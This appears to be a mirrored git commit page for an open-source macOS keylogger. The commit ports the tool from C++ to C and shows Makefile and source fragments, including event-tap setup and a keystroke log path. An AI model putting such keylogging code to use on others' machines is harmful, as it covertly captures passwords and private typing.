mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Change to C, as no C++ functionality is being used.
This commit is contained in:
parent
2b436090b6
commit
025d2d9c6b
4
Makefile
4
Makefile
@ -1,6 +1,6 @@
|
||||
CC=g++
|
||||
CC=gcc
|
||||
CFLAGS=-framework ApplicationServices -framework Carbon
|
||||
SOURCES=keylogger.cpp keylogger.h
|
||||
SOURCES=keylogger.c keylogger.h
|
||||
EXECUTABLE=keylogger
|
||||
INSTALLDIR=/usr/local/bin
|
||||
|
||||
|
@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) {
|
||||
|
||||
// Exit the program if unable to create the event tap.
|
||||
if(!eventTap) {
|
||||
cout << "Unable to create event tap.\n" << endl;
|
||||
printf("Unable to create event tap.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@ -28,7 +28,8 @@ int main(int argc, const char *argv[]) {
|
||||
fflush(logfile);
|
||||
|
||||
// Display the location of the logfile and start the loop.
|
||||
cout << "Logging to: " << logfileLocation << endl;
|
||||
printf("Logging to: %s\n", logfileLocation);
|
||||
fflush(stdout);
|
||||
CFRunLoopRun();
|
||||
|
||||
return 0;
|
@ -1,15 +1,12 @@
|
||||
#ifndef __KEYLOGGER_H__
|
||||
#define __KEYLOGGER_H__
|
||||
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <ctime>
|
||||
#include <time.h>
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <Carbon/Carbon.h>
|
||||
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
||||
|
||||
using namespace std;
|
||||
|
||||
FILE *logfile = NULL;
|
||||
const char *logfileLocation = "/var/log/keystroke.log";
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user